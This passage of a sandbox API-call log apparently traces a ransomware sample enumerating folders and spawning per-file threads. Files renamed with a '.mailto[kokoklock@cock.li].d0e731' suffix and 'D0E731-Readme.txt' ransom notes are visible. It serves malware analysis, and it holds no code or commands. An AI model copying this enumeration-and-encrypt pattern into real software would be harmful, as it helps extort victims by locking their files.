dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0165.623] FindNextFileW (in: hFindFile=0x2fe3c08, lpFindFileData=0x2ff0880 | out: lpFindFileData=0x2ff0880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.623] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.623] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.623] FindNextFileW (in: hFindFile=0x2fe3c08, lpFindFileData=0x2ff0880 | out: lpFindFileData=0x2ff0880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.623] FindClose (in: hFindFile=0x2fe3c08 | out: hFindFile=0x2fe3c08) returned 1 [0165.624] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0880) returned 1 [0165.624] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed8f8) returned 1 [0165.624] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7f9e0) returned 1 [0165.624] RtlExitUserThread (Status=0x0) Thread: id = 1573 os_tid = 0xf70 [0165.366] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fed940 [0165.366] wcscpy (in: _Dest=0x2fed940, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070" [0165.366] wcscat (in: _Dest=0x2fed940, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0165.366] wcscat (in: _Dest=0x2fed940, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\2070\\*") returned="C:\\588bce7c90097ed212\\2070\\*" [0165.366] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2ff0ae8 [0165.366] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2ff0ae8 | out: lpFindFileData=0x2ff0ae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84591ff6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84591ff6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3cc8 [0165.368] wcscmp (_String1=".", _String2=".") returned 0 [0165.368] FindNextFileW (in: hFindFile=0x2fe3cc8, lpFindFileData=0x2ff0ae8 | out: lpFindFileData=0x2ff0ae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84591ff6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84591ff6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.368] wcscmp (_String1="..", _String2=".") returned 1 [0165.368] wcscmp (_String1="..", _String2="..") returned 0 [0165.368] FindNextFileW (in: hFindFile=0x2fe3cc8, lpFindFileData=0x2ff0ae8 | out: lpFindFileData=0x2ff0ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b46abbb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b46abbb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c48284d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.368] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.368] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.368] FindNextFileW (in: hFindFile=0x2fe3cc8, lpFindFileData=0x2ff0ae8 | out: lpFindFileData=0x2ff0ae8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x7fca2e6d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.368] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.368] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe5560 [0165.368] wcscpy (in: _Dest=0x2fe5560, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070" [0165.368] wcscat (in: _Dest=0x2fe5560, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0165.368] wcscat (in: _Dest=0x2fe5560, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0165.618] FindNextFileW (in: hFindFile=0x2fe3cc8, lpFindFileData=0x2ff0ae8 | out: lpFindFileData=0x2ff0ae8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x80167f03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.618] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.619] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d758 [0165.619] wcscpy (in: _Dest=0x2f6d758, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070" [0165.619] wcscat (in: _Dest=0x2f6d758, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0165.619] wcscat (in: _Dest=0x2f6d758, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0165.619] FindNextFileW (in: hFindFile=0x2fe3cc8, lpFindFileData=0x2ff0ae8 | out: lpFindFileData=0x2ff0ae8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.619] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.619] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.619] FindNextFileW (in: hFindFile=0x2fe3cc8, lpFindFileData=0x2ff0ae8 | out: lpFindFileData=0x2ff0ae8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.619] FindClose (in: hFindFile=0x2fe3cc8 | out: hFindFile=0x2fe3cc8) returned 1 [0165.620] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0ae8) returned 1 [0165.620] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed940) returned 1 [0165.620] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fb60) returned 1 [0165.620] RtlExitUserThread (Status=0x0) Thread: id = 1574 os_tid = 0xf74 [0165.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fed988 [0165.368] wcscpy (in: _Dest=0x2fed988, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076" [0165.368] wcscat (in: _Dest=0x2fed988, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0165.368] wcscat (in: _Dest=0x2fed988, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\3076\\*") returned="C:\\588bce7c90097ed212\\3076\\*" [0165.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2ff0d50 [0165.369] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2ff0d50 | out: lpFindFileData=0x2ff0d50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80272bad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80272bad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3d08 [0165.370] wcscmp (_String1=".", _String2=".") returned 0 [0165.370] FindNextFileW (in: hFindFile=0x2fe3d08, lpFindFileData=0x2ff0d50 | out: lpFindFileData=0x2ff0d50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80272bad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80272bad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.370] wcscmp (_String1="..", _String2=".") returned 1 [0165.370] wcscmp (_String1="..", _String2="..") returned 0 [0165.370] FindNextFileW (in: hFindFile=0x2fe3d08, lpFindFileData=0x2ff0d50 | out: lpFindFileData=0x2ff0d50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80272bad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80272bad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80272bad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.370] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.370] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.370] FindNextFileW (in: hFindFile=0x2fe3d08, lpFindFileData=0x2ff0d50 | out: lpFindFileData=0x2ff0d50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x80036795, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1965, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.370] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.370] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe55f8 [0165.370] wcscpy (in: _Dest=0x2fe55f8, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076" [0165.371] wcscat (in: _Dest=0x2fe55f8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0165.371] wcscat (in: _Dest=0x2fe55f8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe55f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0165.613] FindNextFileW (in: hFindFile=0x2fe3d08, lpFindFileData=0x2ff0d50 | out: lpFindFileData=0x2ff0d50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x80167f03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xee50, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.613] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.614] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.614] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d6b0 [0165.614] wcscpy (in: _Dest=0x2f6d6b0, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076" [0165.614] wcscat (in: _Dest=0x2f6d6b0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0165.614] wcscat (in: _Dest=0x2f6d6b0, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0165.614] FindNextFileW (in: hFindFile=0x2fe3d08, lpFindFileData=0x2ff0d50 | out: lpFindFileData=0x2ff0d50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.614] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.614] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.614] FindNextFileW (in: hFindFile=0x2fe3d08, lpFindFileData=0x2ff0d50 | out: lpFindFileData=0x2ff0d50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.615] FindClose (in: hFindFile=0x2fe3d08 | out: hFindFile=0x2fe3d08) returned 1 [0165.615] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0d50) returned 1 [0165.615] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed988) returned 1 [0165.615] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fba0) returned 1 [0165.615] RtlExitUserThread (Status=0x0) Thread: id = 1575 os_tid = 0xf78 [0165.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fedaa8 [0165.371] wcscpy (in: _Dest=0x2fedaa8, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082" [0165.371] wcscat (in: _Dest=0x2fedaa8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0165.371] wcscat (in: _Dest=0x2fedaa8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\3082\\*") returned="C:\\588bce7c90097ed212\\3082\\*" [0165.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2ff0fb8 [0165.371] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2ff0fb8 | out: lpFindFileData=0x2ff0fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x803f0271, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803f0271, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3d48 [0165.373] wcscmp (_String1=".", _String2=".") returned 0 [0165.373] FindNextFileW (in: hFindFile=0x2fe3d48, lpFindFileData=0x2ff0fb8 | out: lpFindFileData=0x2ff0fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x803f0271, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803f0271, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.373] wcscmp (_String1="..", _String2=".") returned 1 [0165.373] wcscmp (_String1="..", _String2="..") returned 0 [0165.373] FindNextFileW (in: hFindFile=0x2fe3d48, lpFindFileData=0x2ff0fb8 | out: lpFindFileData=0x2ff0fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802bf1e4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x802bf1e4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x802bf1e4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.373] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.373] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.373] FindNextFileW (in: hFindFile=0x2fe3d48, lpFindFileData=0x2ff0fb8 | out: lpFindFileData=0x2ff0fb8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x802bf1e4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.373] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.373] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.373] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe5690 [0165.373] wcscpy (in: _Dest=0x2fe5690, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082" [0165.373] wcscat (in: _Dest=0x2fe5690, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0165.374] wcscat (in: _Dest=0x2fe5690, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0165.610] FindNextFileW (in: hFindFile=0x2fe3d48, lpFindFileData=0x2ff0fb8 | out: lpFindFileData=0x2ff0fb8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x803f0271, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.610] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.610] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d608 [0165.610] wcscpy (in: _Dest=0x2f6d608, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082" [0165.610] wcscat (in: _Dest=0x2f6d608, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0165.610] wcscat (in: _Dest=0x2f6d608, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0165.611] FindNextFileW (in: hFindFile=0x2fe3d48, lpFindFileData=0x2ff0fb8 | out: lpFindFileData=0x2ff0fb8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.611] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.611] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.611] FindNextFileW (in: hFindFile=0x2fe3d48, lpFindFileData=0x2ff0fb8 | out: lpFindFileData=0x2ff0fb8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.611] FindClose (in: hFindFile=0x2fe3d48 | out: hFindFile=0x2fe3d48) returned 1 [0165.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0fb8) returned 1 [0165.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedaa8) returned 1 [0165.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fca0) returned 1 [0165.612] RtlExitUserThread (Status=0x0) Thread: id = 1576 os_tid = 0xf7c [0165.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2fedaf0 [0165.374] wcscpy (in: _Dest=0x2fedaf0, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client" [0165.374] wcscat (in: _Dest=0x2fedaf0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0165.374] wcscat (in: _Dest=0x2fedaf0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Client\\*") returned="C:\\588bce7c90097ed212\\Client\\*" 